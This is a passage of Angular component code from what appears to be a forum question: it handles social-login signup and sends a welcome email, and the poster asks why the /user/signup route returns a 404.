this.uis.onSignupComplete();
setTimeout(() => {
this.checkmark = false;
this.thankyou = true;
}, 2500);
this.userService.auth(provider)
.subscribe(user => {
this.user = {
email: user['email'],
image: user['image'],
name: user['name'],
provider: user['provider'],
uid: user['uid']
};
this.userService.signup(this.user)
.subscribe(user => {
this.randomNum = Math.floor(Math.random() * 2);
let userEmail = this.user.email;
let subject = 'Welcome to the rent community';
let html = '';
if (this.randomNum === 1) {
html = this.contactS.getAutoEmail1();
} else if (this.randomNum === 0) {
html = this.contactS.getAutoEmail0();
}
let email = new Email(subject, html, userEmail);
this.contactS.setEmail(email)
.subscribe(data => {
}, response => {
// if (response.error['error'].errors[0].message === 'email must be unique') {
// this.uis.onSetError('Email is already used');
// this.uis.onError();
// setTimeout(() => {
// this.uis.onErrorOff();
// }, 2500);
// } else {
// this.uis.onSetError('There was an error');
// this.uis.onError();
// setTimeout(() => {
// this.uis.onErrorOff();
// }, 2500);
// }
console.log(response);
});
}, resp => console.log(resp));
}, response => {
console.log(response);
});
}
onReset() {
this.user.email = '';
this.user.image = '';
this.user.name = '';
this.user.provider = '';
this.user.uid = '';
}
errorStyle(): Object {
if (this.error) {
return {height: '50px', opacity: '1'};
} else if (!this.error) {
return {height: '0', opacity: '0'};
}
return {};
}
}
I want to mention I am using angular-2-social-login for the social logins. Unsure why it would be calling 404 if I am using the /user/signup route appropriately.